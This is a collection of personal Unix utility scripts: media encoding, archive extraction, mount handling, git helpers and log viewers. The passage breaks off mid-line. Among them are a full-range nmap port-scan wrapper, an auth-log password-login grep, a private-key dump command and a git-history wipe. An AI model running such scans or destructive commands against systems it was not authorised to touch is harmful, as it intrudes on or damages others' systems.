on :t, :to, 'To', :optional => false end ## Handle arguments #args = [] #opts.parse { |arg| args << arg } uptime = Path["/proc/uptime"].lines.first.split.first.to_f LAST_REBOOT = Time.now.to_f - uptime class Line < String attr_accessor :secs, :repeats def initialize(str, secs=0) @secs = secs @repeats = 1 super(str) end =begin def repeats; @repeats ||= 1; end def repeats=(val) @repeats = val end def secs; @secs; end def secs=(val); @secs = val; end =end def time Time.at(LAST_REBOOT + @secs) end def merge(other) if other == self self.repeats += other.repeats else raise "Can't merge different strings." end end end def cluster_lines(lines) clusters = [] cluster = [lines.first] lines.each_cons(2) do |a, b| delta = b.secs - a.secs if delta > 2 clusters << cluster cluster = [] end cluster << b end clusters << cluster if cluster.any? clusters end def squash_repeats(ss) result = [] ss.each do |rs| if result.last == rs result.last.merge(rs) else result << rs end end result end if $0 == __FILE__ #lines = Path["~/dmesg.txt"].lines.map do |line| lines = `dmesg`.lines.map do |line| if line =~ /^\[\s*(\d+\.\d+)\] (.+)$/ Line.new($2, $1.to_f) end end.compact p [:lines, lines.size] lesspipe(:tail=>true) do |less| cluster_lines(lines).each do |chunk| less.puts "<9>#{chunk.first.time}".colorize squash_repeats(chunk).each do |line| less.puts "\t#{line}" if line.repeats > 1 less.puts "\t<8>[...repeated #{line.repeats} times...]".colorize end end less.puts end end end <file_sep>#!/bin/bash shallowize() { echo "Shallowizing..." git show-ref -s HEAD > .git/shallow git reflog expire --expire=0 git prune git prune-packed echo "Done!" } confirm () { # call with a prompt string or use a default read -r -p "${1:-Are you sure? [y/N]} " response case $response in [yY][eE][sS]|[yY]) true ;; *) false ;; esac } if [ ! -d .git ]; then echo "ERROR: Not in a git repo (can't find .git directory)" exit 1 fi echo "WARNING: This will wipe out your git history and any commits you've made." confirm && shallowize <file_sep>#!/usr/bin/env ruby require 'nokogiri' # puts Nokogiri::XML(ARGF, &:noblanks).to_xhtml(indent: 2) puts Nokogiri::HTML.fragment(ARGF.read).to_xhtml(indent: 2) <file_sep>#!/usr/bin/env ruby clips = %w[primary clipboard].map { |type| `xclip -o -selection #{type}`.chomp } if clip = clips.find { |c| c[%r{^(https?|magnet):}] } exec("#{__dir__}/web", clip) else error_message = "Error: Couldn't find an URL in the clipboard" $stderr.puts error_message exec("notify-send", error_message) end <file_sep>#!/usr/bin/env ruby require 'epitools' args = ARGV # TODO: # # * Extensions map to mount programs mounters = { { :ext => /(iso|bin)/i } => 'fuseiso', { :protocol => /(sftp|ssh)/i } => 'sshfs', { :ext => /zip/i } => 'fuse-zip', } class Hash # # Is this hash a subset or equal to `other`? # (note: compares values with ===) # def ===(other) all? do |key, comparee| value = other[key] value && comparee === value end end end # TODO: Use the Hash#=== Luke! args.each do |arg| path = Path[arg] matches = mounters.find do |hash, app| hash.all? do |attr, acceptable_values| if attr.respond_to?(:call) value = path.instance_eval(&attr) else value = path.send(attr) if path.respond_to? attr end value =~ acceptable_values end end p matches end exit 1 unless args.any? puts "usage: unmount <directory> [ <directory> [ ... ] ]" exit 1 end # /dev/sda2 on / type ext4 (rw,errors=remount-ro,commit=0) class Mount < Struct.new(:dev, :path, :type, :options) def self.from_line(line) if line =~ %r{^(\S+) on (\S+) type (\S+) \((\S+)\)$} new($1, $2, $3, $4) end end end mounts = `mount`.lines.map{|line| Mount.from_line(line) }.compact for arg in args print "unmount #{arg.inspect}: " unless File.directory? arg puts "FAIL! (not a directory)" next end abspath = File.expand_path(arg) matches = mounts.select{|mount| mount.path == abspath } if matches.empty? puts "FAIL! (not mounted)" next end if matches.size > 1 puts "FAIL! (too many matching mountpoints...)" p matches puts next end for match in matches success = if match.type[/^fuse/] system("fusermount -u #{arg}") else system("sudoifnotroot umount #{arg}") end puts( success ? "SUCCESS!" : "FAIL!" ) end end <file_sep>#!/bin/bash if [ "$USER" == "root" ] then su epi -c "opera -newpage \"$*\"" else opera -newpage "$*" fi <file_sep>#!/bin/bash git log --branches --remotes --tags --graph --oneline --decorate <file_sep>#!/bin/bash PLATFORM=`uname` if [ "$PLATFORM" == "Darwin" ]; then ps ax | grep -si "$*" | grep -v "psfind" | grep -v "grep -si" elif [ "$PLATFORM" == "OpenBSD" ] || [ "$PLATFORM" == "FreeBSD" ]; then ps xaw | grep -vE "(psfind|grep -vE)" | ag "$*" else if [ "$(uname -o)" == "Cygwin" ]; then ps -W | grep -si --color=always "$*" | grep -v "psfind" | grep -v "grep -si --color=always" else ps afx -eo '%p %u %t %a' | grep -si --color=always "$*" | grep -v "psfind" | grep -v "grep -si --color=always" fi fi exit $? <file_sep>#!/usr/bin/env ruby require 'epitools/path' ARGV.each do |arg| src = Path[arg] dest = src.dup dest.ext = "coffee" cmd = "js2coffee '#{src}' > '#{dest}'" p cmd system(cmd) end<file_sep>#!/usr/bin/env ruby def push_it_good(dir) Dir.chdir dir while Dir.pwd != "/" if File.directory? ".git" puts "* Pushing: #{Dir.pwd}" puts " |_ remote: #{`git remote get-url --push origin`.strip}" print " |_ " system("git", "push") return end Dir.chdir ".." end puts "* Dir: #{Dir.pwd}" puts " |_ Bunko! No .git dir found" end if ARGV.any? dirs=ARGV else dirs=["."] end # WARNING: Does not check "/.git" for dir in dirs push_it_good(dir) end <file_sep>#!/usr/bin/env ruby class String def url? self[%r{^https?://}] end end class Numeric def commatize(char=",") int, frac = to_s.split(".") int = int.gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1#{char}\\2" frac ? "#{int}.#{frac}" : int end end opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if args.empty? or opts.include?("-h") or opts.include?("--help") puts DATA.read exit end verbose = (opts.delete("-v") or opts.delete("-a")) for arg in args if arg.url? puts "\e[1;33;1m#{arg}\e[0m" else size = File.size(arg).commatize date = File.mtime(arg).strftime("%Y-%m-%d") puts "\e[1;33;1m#{arg} \e[0m(\e[1;37m#{date}\e[0m, \e[1;36m#{size} \e[0;36mbytes\e[0m)\e[0m" end IO.popen(["ffprobe", "-hide_banner", arg], "rb", err: [:child, :out]) do |io| lines = io.each_line lines = io.grep(/^\s+(Duration|Stream)/) unless verbose lines.each { |line| puts line } end puts end __END__ usage: ffmpeg-info [options] <filename(s)> options: -v or -a show all info (defaults to showing only the streams) <file_sep>#!/usr/bin/env ruby require 'epitools' args = ARGV if args.empty? puts "usage: white-image-background <filename(s)>" puts "(note: creates a backup of the original image)" exit 1 end args.each do |arg| path = arg.to_Path raise "Error: #{path} not found" unless path.exists? backup = path.backup! puts "* Converting: #{path} (backup: #{backup.filename})" cmd = ["convert", backup.to_s, "-background", "white", "-alpha", "remove", "-alpha", "off", path.to_s] #puts cmd.join(" ") system *cmd end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: docker-shell <imagename>" else docker run -t -i "$1" bash fi <file_sep>#!/bin/bash openssl rsa -in $1 -text -noout <file_sep>#!/usr/bin/env ruby TWOBYTES_RE = /[a-f0-9]{4}/i IP6_RE = /^(?:#{TWOBYTES_RE}:){7}#{TWOBYTES_RE}$/ opts, args = ARGV.partition {|arg| arg[/^-\w+/] } if args.size != 1 puts "usage: nmap-fast <address>" exit 1 else # nmap -6 -n -r -v -p1-65535 -sT fc12:4011:20c0:d8a6:d7e3:c696:4a1c:e43e addr = args.first cmd = %w[nmap -n -r -v -sT -Pn] unless ports = opts.find { |opt| opt[/^-p/] } ports = "-p1-65535" end cmd << ports cmd << "-6" if addr =~ IP6_RE cmd << addr system *cmd end <file_sep>#!/bin/bash if [ -f /usr/bin/fortune ]; then CMD="/usr/bin/fortune" elif [ -f /usr/games/fortune ]; then CMD="/usr/games/fortune" fi #FORTUNES="-e wisdom education science art work politics definitions law startrek" FORTUNES=~/scripts/bsd/fortunes/ if [[ "$1" == "" ]]; then $CMD $FORTUNES else $CMD -i -m "$@" $FORTUNES fi <file_sep>#!/bin/bash pkg info "$@" | less -XFi <file_sep>#!/bin/bash zgrep "Accepted password for" /var/log/auth.log*|less -S <file_sep>#!/bin/bash echo echo "==[ BUILDING ]=====================================================" echo apt-build build-source $* echo echo "==[ INSTALLING ]===================================================" echo agu apt-get install $* <file_sep>#!/usr/bin/env ruby require 'epitools' unless bin = Path.which("ffmpeg", "avconv").compact.first puts "Error: Can't find ffmpeg or avconv. Please install one of them." exit 1 end unless ARGV.any? puts "usage: faststart <file.m4a>" exit 1 end ARGV.each do |arg| unless File.exists?(arg) puts "File not found: #{arg}" next end fixed = "faststarted-#{arg}" puts "* Faststarting #{arg.inspect}" cmd = [bin, "-i", arg, "-c:v", "copy", "-c:a", "copy", "-movflags", "faststart", fixed] unless system(*cmd) puts "Error faststarting file." next end unless system("x", "--copy", arg, fixed) puts "Error copying metadata." next end File.rename(fixed, arg) end <file_sep>#!/usr/bin/env ruby ######################################################################################## gem 'slop', "~> 3.6" require 'slop' require 'epitools' ######################################################################################## def error(msg) $stderr.puts "ERROR: #{msg}".light_red end ######################################################################################## opts = Slop.parse(help: true, strict: true) do banner 'Usage: tomp4 [options] <file(s)...>' on 'y', 'yes', 'Overwrite existing' on 'n', 'no', 'Skip existing' on 'i', 'images', 'Encode a set of images' on 's=', 'scale', 'Scale to resolution (eg: 1024x768, 1024:-1, 1024, -1:720)' on 'q=', 'quality', 'Quantization Parameter (eg: 22)' on 'd', 'deinterlace', 'Blend deinterlace (using yadif)' on 'D=', 'denoise', 'Denoise filter (0: none, 1: fast, 2: slow but good)', default: nil on 'b', 'bob', 'Bob deinterlace (using yadif)' on 'S=', 'start', 'Start time in the input video' on 'l=', 'length', 'Length of the input video to encode' on 'p=', 'preset', 'Encoder preset', default: 'slow' on "r=", "aspect", 'Aspect ratio (eg: 4:3, 1.6666)' on 'd=', 'outdir', 'Output directory' on 'o=', 'output', 'Output file' on 'a=', 'acodec', 'Output audio codec (eg: mp3, aac)', default: "copy" on 'm', 'mute', 'No audio' # DEV.LS h264 H.264 / AVC / MPEG-4 AVC / MPEG-4 part 10 (decoders: h264 h264_vdpau ) (encoders: libx264 libx264rgb h264_nvenc h264_vaapi nvenc nvenc_h264 ) # DEV.L. hevc H.265 / HEVC (High Efficiency Video Coding) (encoders: libx265 nvenc_hevc hevc_nvenc hevc_vaapi ) on 'v=', 'vcodec', "Output video codec\n\t\t\t\t (eg: copy, h264, h264_nvenc, hevc, hevc_nvenc, hevc_vaapi)\n\t\t\t\t", default: "h264" on 'N', 'nvidia', 'Use nvidia-accelerated version of the --vcodec' on 'A', 'vaapi', 'Use vaapi-accelerated version of the --vcodec' on 'c=', 'crop', 'Crop video (in mplayer format: w:h:x:y)' on 'f=', 'framerate','Alter framerate (can have decimals or be a fraction)', default: nil end ######################################################################################## unless bin = Path.which("ffmpeg", "avconv").compact.first puts "Error: Can't find ffmpeg or avconv. Please install one of them." exit 1 end files = ARGV.map {|file| Path.new(file) } if files.empty? puts opts exit 1 end if files.size > 1 and opts.images? puts "Error: You must specify a single glob pattern as input" exit 1 end # Two-pass encode: # ffmpeg -y -i "$IN" -b 2M -bt 4M -c:v h264 -pass 1 -pre medium_firstpass -an "$OUT" # ffmpeg -y -i "$IN" -b 2M -bt 4M -c:v h264 -pass 2 -pre medium -c:a aac -ab 192k "$OUT" # Get output directory if dir = opts[:outdir] dir = dir.to_Path unless dir.dir? error "#{dir} is not a directory" exit 1 end else dir = nil end # Process each file files.each do |inp| puts "----------------------------------------------------------------" puts " Encoding:" puts " in: #{inp}" unless inp.exists? or opts.images? error "File doesn't exist." next end # if inp.ext == "mp4" # error "Input file is already a .mp4 -- skipping" # next # end # Output filename (from options, or auto-generated) if opts[:output] out = Path.new opts[:output] else out = inp.with(ext: "mp4") out = out.with(filename: out.filename.gsub(/[\*\?]+/, "-") ) if opts.images? out.dir = dir.dir if dir end cmd = [bin] # Courageous or wimpy cmd << "-y" if opts.yes? cmd << "-n" if opts.no? # Set framerate cmd += ["-framerate", opts[:framerate]] if opts[:framerate] # Set input if opts.images? # cmd += ["-f", "image2"] cmd += ["-pattern_type", "glob"] end if start = opts[:start] cmd += ["-ss", start] end if length = opts[:length] cmd += ["-t", length] end cmd += ["-i", inp] vcodec = opts[:vcodec] if opts.nvidia? and ["h264", "hevc"].include?(vcodec) # != "copy" and not vcodec["nvenc"] vcodec = "#{vcodec}_nvenc" cmd += ["-c:v", vcodec] cmd += ["-preset:v", "slow"] cmd += ["-rc:v", "constqp"] cmd += ["-rc-lookahead:v", "32"] opts[:quality] ||= 27 else cmd += ["-c:v", vcodec, "-preset:v", opts[:preset]] end unless opts.mute? acodec = opts[:acodec] cmd += ["-c:a", acodec] end # cmd += ["-crf", opts[:quality]] if opts.quality? if opts.quality? if vcodec == "hevc" # cmd += ["-x265-params", "--qp #{opts[:quality]}"] cmd += ["-x265-params", "crf=#{opts[:quality]}"] else # cmd += ["-qp:v", opts[:quality]] cmd += ["-crf:v", opts[:quality]] end end cmd += ["-aspect", opts[:aspect]] if opts[:aspect] cmd += %w[-movflags faststart] vfilters = [] vfilters << "crop=#{opts[:crop]}" if opts[:crop] vfilters << "yadif" if opts.deinterlace? vfilters << "yadif=1" if opts.bob? if opts.denoise? case opts[:denoise].to_i when 0 # nothing when 1 vfilters << "hqdn3d" when 2 vfilters << "nlmeans" end end if scale = opts[:scale] case scale when /^(\d+)x(\d+)$/ scale = "#{$1}:#{$2}" when /^(\d+)$/ scale = "#{$1}:-1" when /^-?\d+:-?\d+$/ # looks good! no munging necessary ^_^ else error "Unrecognized scale option: #{scale}" exit 1 end vfilters << "scale=#{scale}" end cmd += ["-filter:v", vfilters.join(",")] if vfilters.any? cmd << out puts " out: #{out}" puts " cmd: #{cmd.join(" ")}" puts "----------------------------------------------------------------" puts begin unless system(*cmd) error "Conversion failed." next end unless opts.images? if system("x", "--copy", inp, out) error "Copying metadata failed." next end end rescue Interrupt puts puts exit 1 end end <file_sep># firefox privacy settings Put your preferred `user.js` in ~/.mozilla/firefox/<profile>/user.js or /etc/firefox/syspref.js secure-user.js => maximum firefox security (will break a bunch of stuff) relaxed-user.js => decent firefox security source: https://github.com/pyllyukko/user.js similar project: https://github.com/arkenfox/user.js <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: wget-google-doc <https://docs.google.com/document/d/<id>>" echo echo "By default, this script saves the document as an HTML file. You can alter this by setting the FORMAT environment variable." echo "(this should be a commandline option, but I'm not super good at bash. sorry!)" echo echo "Example:" echo " $ FORMAT=pdf wget-google-doc https://docs.google.com/document/d/FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF/edit" echo echo "Valid FORMATs: html (default), pdf, docx/odt, epub, txt, rtf, xlsx/ods, tsv, csv, jpg, png, svg, pptx/odp, json, zip" echo "(for more formats, see 'man rclone', section: 'Import/Export of google documents')" echo exit 1 fi if [ -z "$FORMAT" ]; then FORMAT=html fi if [[ "$1" =~ https://docs.google.com/document/d/([^/]+)/ ]]; then ID="${BASH_REMATCH[1]}" OUT="${ID}.${FORMAT}" # NOTE: accepts &token= for private docs wget "https://docs.google.com/document/export?format=${FORMAT}&id=${ID}" -O "$OUT" #wget "https://docs.google.com/document/export?format=${FORMAT}&id=${ID}&includes_info_params=true" -O "$OUT" fi <file_sep>#!/usr/bin/env ruby require 'epitools' SITE = "http://mediaradio.com/" PLAYLIST = "yimago.xspf" puts "=========================================" puts " Yimago Radio Playlist Generator" puts "=========================================" puts puts "* Connecting to #{SITE}..." b = Browser.new # (cache:true) page = b.get(SITE) puts "* Downloading channels..." stations = page.iframes.map do |frame| doc = frame.click name_node = doc.at("#name") info = name_node.parent name = name_node.text url = info.at("img[src='export.png']").parent["href"] genre_comment = info.children.find {|e| e.comment? and e.text["genre"] } genre = genre_comment.next_sibling.next_sibling.text.strip puts " |_ #{name} (#{genre})" if name["Voltage"] require 'pry';binding.pry end OpenStruct.new( url: url, name: name, genre: genre ) end puts "* Writing to #{PLAYLIST}..." outfile = open(PLAYLIST, "w") outfile << %{ <?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/"> <title>Yimago Radio</title> <trackList> } stations.each do |s| outfile << %{ <track> <location>#{s.url}</location> <creator>#{s.name} (#{s.genre})</creator> </track> } end outfile << %{ </trackList> </playlist> } puts "* Done!"<file_sep>#!/usr/bin/env ruby #require 'shellwords' #things = STDIN.read.lines.map(&:strip) things = Dir["#{ENV["HOME"]}/mp3*/*"] #p things.size ignore = ["[Talks, Audiobooks]"] things.reject! { |thing| ignore.any? { |ign| thing[ign] } } amount = (ARGV.first || "10").to_i cmd = %w[audacious -e] + (things - ignore).sample(amount) system(*cmd) <file_sep>#!/usr/bin/env ruby class String def frontslashed (self[0] != '/') ? "/"+self : self end end class Mount attr_accessor :dev, :path, :type, :options def initialize(line) @path, @dev, @type, @options = line.strip.split(' ') @options = @options.split(",") end def system? (path =~ %r{^/(sys|dev|proc|run/user|tmp)}) or dev == "systemd-1" end def to_s " #{path} (#{dev})" end end mounts = IO.popen(["findmnt", "--raw"]) { |io| io.drop(1).map { |line| Mount.new line } } puts mounts.reject(&:system?).group_by(&:type).each do |type, mounts| puts "== #{type} ======================" mounts.each do |mount| case type when "fuse.mergerfs" puts "* #{mount.path}" mount.dev.split(":").each { |src| puts " |_ #{src.frontslashed}" } else puts mount end end puts end <file_sep>#!/usr/bin/ruby require 'epitools' raise "pandoc not found!" unless Path.which("pandoc") for arg in ARGV html = Path[arg] epub = html.with(:ext=>"epub") if epub.exists? puts "- skipping #{html}" next end files = html.with(:ext=>nil) files.filename += "_files" if files.exists? urlencoded = files.dup urlencoded.filename = urlencoded.filename.urlencode FileUtils.ln_s(files, urlencoded) end puts puts "* Converting: #{html}" puts " |_ to: #{epub}" cmd(["pandoc -f html -t epub ? -o ?", html, epub]) puts " (size: #{epub.size} bytes)" urlencoded.rm rescue nil end<file_sep>#!/usr/bin/env ruby if ARGV.empty? puts "usage: url2m3u <url>" exit 1 end url = ARGV.first url += "/" unless url[%r{/$}] IO.popen(["lftp", "-c", "open #{url}; find"], &:read). each_line. map(&:chomp). reject {|line| line[/\/$/] }. shuffle. each do |line| line = line.gsub(%r{^\./}, '') puts "#{url}#{line}" end <file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.any? files = ARGV.map(&:to_Path) files.map { |f| f.dir? ? f.ls : f }.flatten else files = Path["*"] end zeros = files.select{|f| f.size == 0 } puts "Zero-byte files found:" puts "----------------------" puts zeros.each { |path| puts "#{path.mtime} #{path}" } puts if prompt("Remove these files?") == "y" puts "Removing files..." zeros.each(&:rm) end <file_sep>#!/usr/bin/env ruby ANSI_RE = %r{ \e [ \[()#;? ]* (?: [0-9]{1,4} (?: ;[0-9]{0,4} )* )? [0-9A-PRZcf-nqry=><] }x ARGF.each_line do |line| print line.gsub(ANSI_RE, '') end<file_sep>#!/usr/bin/env ruby require 'epitools' VFIO = "/sys/bus/pci/drivers/vfio-pci" DEVS = "/sys/bus/pci/devices" Path["#{VFIO}/0*"].each do |path| dev = path.dirs.last puts "* Unbinding #{dev}..." open("#{DEVS}/#{dev}/driver/unbind", "w") { |f| f.puts dev } end <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'rubygems' require 'epitools' require 'date' # # -n number # ARGS: files/directories (which will be merged into one big list) # # lesspipe output # count = ARGV.first ? ARGV.first.to_i : nil paths = Dir['**/*'].select{|fn| not File.directory?(fn)} # Get modification times paths = paths.map do |fn| mtime = File.mtime(fn) rescue nil next unless mtime [mtime, fn] end.compact paths = paths.sort[-count..-1] if count paths_grouped_by_date = paths.group_by{|t,f| t.strftime("%Y-%m-%d") }.sort lesspipe(tail: true) do |less| for date, paths in paths_grouped_by_date less.puts DateTime.parse(date).strftime("%b %d, %Y").light_blue time_dir_file = paths.map { |time, path| [time] + File.split(path) } time_dir_file_grouped_by_dir = time_dir_file.group_by { |time, dir, file| dir }.sort ## put "." files last #tmp = time_dir_file_grouped_by_dir.remove_if { |e| e.first == "." } #time_dir_file_grouped_by_dir += tmp for dir, time_dir_file in time_dir_file_grouped_by_dir less.puts " #{dir.light_cyan}/" unless dir == '.' for time, dir, file in time_dir_file less.print " " unless dir == "." less.puts " " + file end end less.puts end end <file_sep>#!/usr/bin/env python2 ##################################################################### """ A.R.F. (Archive Retrieval Fiend) -------------------------------------------------------------------- Concept: This script exists for two reasons: 1) Lazy people don't want to type long commands like "tar zxvf" and "unzip" and "unrar", or their respective commandline parameters 2) Downloading a tarball, extracting it, then deleting it is a wasteful and boring process This script remedies that situation. Just run "arf (filename or URL)" and it'll figure out how to extract it, and put the files in a nicely named directory. It works on http, https, and FTP urls. The directory creation works like this: + if the archive contains one directory, extract it as is + if the archive contains more than that, make a directory named after the filename with the archive extension removed. Examples: arf http://prdownloads.sourceforge.net/something/mrprogram-1.2.45.6.3.tar.bz2 arf warez/Awesome.Game.RZR.FLT.DEViANCE/rzrflddev-ag.rar arf pile_of_junk.tgz /root todo: + better implementation - FileExtractor takes a 'thing' in its __init__ (throwing an exception if it can't handle it), then returns an instance that allows the user to '.extract(destination)' the archive. + list the contents of the archive - arf l <archive name> will list an archive contents (piped to less) - when <archive name> is an url, give the option to extract it afterwards """ ##################################################################### ## Desired features ################################################# ##################################################################### # == installs packages automatically # arf something.rar # -- rar isn't installed -> prompts to install via apt-get or yum # arf -i # -- install all supported packages # == list archive contents # arf -v archive.tar.gz <other archives, including .pk3 and .wad and .cab> # -- show contents (colour-coded, piped to less) # == streaming extraction (uncompress while downloading) # arf http://whatever/blah.zip # -- supported by all the popular ones: .tar.{gz,bz2}, .zip, .rar # == stream format detection (format not always obvious from url) # arf http://site/getazip #=> streams a zip file # -- read the first 4096 bytes of the file, and use that to detect the format. # == handle weird redirects # arf http://sf.net/projects/foo/blah/thing.tgz?mirror=what&cookie=324983294&etc. # -- if last redirect has a proper filename, use that as archive name. # otherwise: # 1) look at path & guess # 2) prompt user ##################################################################### __version__ = '0.5.3' import os, sys, re, urllib, time, tempfile from os.path import join, isfile, isdir, exists, split ##################################################################### def madProps(): s = " arf! (Archive Retriever, Fo'sho') v%s :: by <NAME> (<EMAIL>) " % __version__ print '=' * len(s) print s print '=' * len(s) print def howToUseMe(): print 'This program takes a compressed file from an url or a filename, figures out' print 'what type of file it is, then tries to extract it into a directory.' print exts = [] for extractor in extractors: exts.extend(extractor.exts) print 'Supported filetypes:\n %s' % ', '.join(exts) print print 'Usage:' print ' %s <input file or url> [output directory]' % sys.argv[0] print print 'The [output directory] is optional. By default, the current directory is used.' print def execute(cmd): error = os.system(cmd) if error != 0: raise Exception, "Error! System command returned errorcode %d.\nCommand was: '%s'" % (error, cmd) def prompt(message='(Y/n)? ', choices=['y','n'], default='y'): inp = None while not (inp in choices) and inp != '': inp = raw_input(message).lower() if inp == '': inp = default return default def isurl(thing): return re.match(r'^(https?|ftp|git)://', thing) is not None def isoption(arg): if arg[0] != '-' or os.path.exists(arg): return False else: return True def only_dir_in_path(dir): entries = os.listdir(dir) dirs = [] for entry in entries: fullentry = join(dir,entry) if isfile(fullentry): return None if isdir(fullentry): dirs.append(entry) if len(dirs) > 1: return None return dirs[0] def is_exe(fpath): return os.path.exists(fpath) and os.access(fpath, os.X_OK) def which(program): fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None ##################################################################### class URLGrabber(urllib.FancyURLopener): lastdisplaystring = '' def reporthook(self, blockcount, blocksize, filesize): """ Print the current transfer statistics """ bytes = blockcount * blocksize if bytes > filesize: bytes = filesize percent = (bytes*100.0)//filesize now = time.time() if now - self.starttime == 0.0: now += 0.0001 speed = (bytes / (now - self.starttime)) / 1024 lastlen = len(self.lastdisplaystring) #dmesg('lastline = %d' % lastlen) print '\x08' * (lastlen+2), nextline = '%0.1f%% complete (%d/%d bytes) - %0.2f k/sec' % (percent, bytes, filesize, speed) #dmesg('nextline = %d' % len(nextline)) if len(nextline) < lastlen: nextline += ' '*(lastlen - len(nextline)) #dmesg('newnextline = %d' % len(nextline)) print nextline, self.lastdisplaystring = nextline def retrieve(self, url): def reporthookwrapper(blockcount, blocksize, filesize): self.reporthook(blockcount, blocksize, filesize) self.lastdisplaystring = '' self.starttime = time.time() return urllib.FancyURLopener.retrieve(self, url, reporthook=reporthookwrapper) ##################################################################### class FileExtractor: """ Mother class!! """ exts = [] streamable = False binary = None package = None def canHandle(self, filename): """ Can you handle the file? CAN YOU HANDLE THE FILE?!!? """ filename = filename.lower() for ext in self.exts: if filename.endswith(ext): return True return False def dirname_from_archivename(self, archivename): lowername = archivename.lower() for ext in self.exts: if lowername.endswith(ext): return archivename[0:-len(ext)] return None def find_binary(self): if isinstance(self.binary, list): binaries = self.binary else: binaries = [self.binary] for binary in binaries: if which(binary) is not None: return binary return None def check_binary(self): binary = self.find_binary() if binary: return binary else: answer = prompt("* %s not found. Would you like to install it? [Y/n] " % self.binary, choices=['y','n'], default='y') if answer == 'n': print "+ Aborting..." return self.install_package() return self.find_binary() def install_package(self): pkgtools = { "Ubuntu": "apt-get install", "Debian": "apt-get install", "Fedora": "yum install", } result = re.findall(r"Distributor ID:\t(\w+)", os.popen("lsb_release -i").read()) if result: distro = result[0] print "Distribution: %s" % distro pkgtool = pkgtools.get(distro) if pkgtool is None: print "Error: Unknown distro!" return print "Package: %s" % self.package print command = 'sudo %s "%s"' % (pkgtool, self.package) print "Executing: %s" % command print execute(command) print else: print "Error: Could not find your Linux version via the 'lsb_release' tool." def extract_file(self, filename, destdir='.'): raise Exception, "extract_file() not implemented!" def extract_url(self, url, destdir='.'): opener = URLGrabber() filename, headers = opener.retrieve(url) print self.extract_file(filename, destdir) os.remove(filename) def extract(self, thing, destdir='.'): print "thing:", thing if isurl(thing): archivename = split(urllib.url2pathname(thing))[1] elif isfile(thing): archivename = split(thing)[1] else: raise "Unknown thing: %s" % thing print "archivename:", archivename print self.check_binary() print "+ Extracting..." print " thing: %s" % thing print " archive name: %s" % archivename print " destination: %s" % destdir print " type: %s" % self.desc if not exists(destdir): answer = prompt("* Destination doesn't exist. Create? [Y/n] ", choices=['y','n'], default='y') if answer == 'n': print "+ Aborting..." return print "+ Creating: %s" % destdir os.mkdir(destdir) tempdir = tempfile.mkdtemp('', 'arf-', destdir) print "+ Extracting archive to: %s" % tempdir print "-"*50 if isurl(thing): self.extract_url(thing, tempdir) elif isfile(thing): self.extract_file(thing, tempdir) else: print "+ I don't know what the crap this thing is:\n\t%s\n\n...what're you trying to pull here, huh?!?!" % thing return print "-"*50 print "archivename: %s" % repr(archivename) only_dir = only_dir_in_path(tempdir) if only_dir: target = join(destdir, only_dir) print "+ Placing contained directory in '%s'..." % target os.rename(join(tempdir, only_dir), target) os.removedirs(tempdir) else: dest = join(destdir, self.dirname_from_archivename(archivename)) count = 1 while exists(dest): dest = join(destdir, self.dirname_from_archivename(archivename)) + "(%d)"%count count += 1 print "+ Renaming '%s' to '%s'" % (tempdir, dest) os.rename(tempdir, dest) print "* Done. ARF!" print ##################################################################### class TarballExtractor(FileExtractor): exts = ['.tar.gz', '.tar.bz2', '.tar', '.tgz', '.tar.lzma', '.tar.lrz', '.tar.xz', '.tpxz', '.gem', '.pixz'] streamable = True desc = "TAR file" binary = "tar" package = binary # interface def extract_file(self, filename, destdir=None): cmd = self.getcommand(filename) cmd = '%s "%s" -C "%s"' % (cmd, filename, destdir) print "executing: %s" % cmd execute(cmd) # utilities def getcommand(self, filename): lower = filename.lower() if lower.endswith(".gz") or lower.endswith(".tgz"): cmd = "tar --xattrs -zxvf" elif lower.endswith(".bz2"): cmd = "tar --xattrs -jxvf" elif lower.endswith(".xz") or lower.endswith(".lzma"): cmd = "tar --xattrs -Jxvf" elif lower.endswith(".lrz"): cmd = "tar --xattrs -Ilrzip -xvf" elif lower.endswith(".tpxz") or lower.endswith(".pixz"): cmd = "tar --xattrs -Ipixz -xvf" else: cmd = "tar --xattrs -xvf" return cmd class ZipExtractor(FileExtractor): exts = ['.zip', '.pk3', '.jar', '.war', '.xpi', '.epub', '.apk', '.k3b'] streamable = False desc = "ZIP file" binary = "unzip" package = binary # interface def extract_file(self, filename, destdir=None): execute('unzip -o "%s" -d "%s"' % (filename, destdir)) class RarExtractor(FileExtractor): exts = ['.rar', '.001'] streamable = True desc = "RAR file" binary = "unrar" package = binary def extract_file(self, filename, destdir=None): execute('unrar x "%s" "%s"' % (filename, destdir)) class SevenZipExtractor(FileExtractor): exts = ['.7z',] streamable = False desc = "7zip file" binary = ["7z", "7za", "7zr"] package = "p7zip" # interface def extract_file(self, filename, destdir=None): binary = self.find_binary() execute('%s x "%s" -o"%s"' % (binary, filename, destdir)) class DebExtractor(FileExtractor): # Note: alternate method is "ar p mypackage.deb data.tar.gz | tar zx" exts = ['.deb'] streamable = True desc = "DEBian package" binary = "dpkg" def extract_file(self, filename, destdir=None): execute('dpkg -x "%s" "%s"' % (filename, destdir)) class GitExtractor(FileExtractor): exts = ['.git'] desc = "Git Repository" binary = "git" package = "git-core" def extract_url(self, filename, destdir=None): execute('git clone "%s" "%s"' % (filename, destdir)) ##################################################################### extractors = [ TarballExtractor(), ZipExtractor(), RarExtractor(), DebExtractor(), SevenZipExtractor(), GitExtractor(), ] def extract(filename, destdir): for extractor in extractors: if extractor.canHandle(filename): extractor.extract(filename, destdir) return print "+ I can't extract THAT! Why you gotta play me like this?!" ##################################################################### if __name__ == '__main__': madProps() if len(sys.argv) <= 1: howToUseMe() else: args = sys.argv[1:] numargs = len(args) filename = args[0] if numargs == 1: destdir = '.' elif numargs == 2: destdir = args[1] extract(filename, destdir) <file_sep>#!/usr/bin/env ruby # encoding: utf-8 require 'epitools' require "tokyocabinet" include TokyoCabinet ################################################################### # http://toolserver.org/~enwikt/definitions/?sortby=7 # ENGLISH = 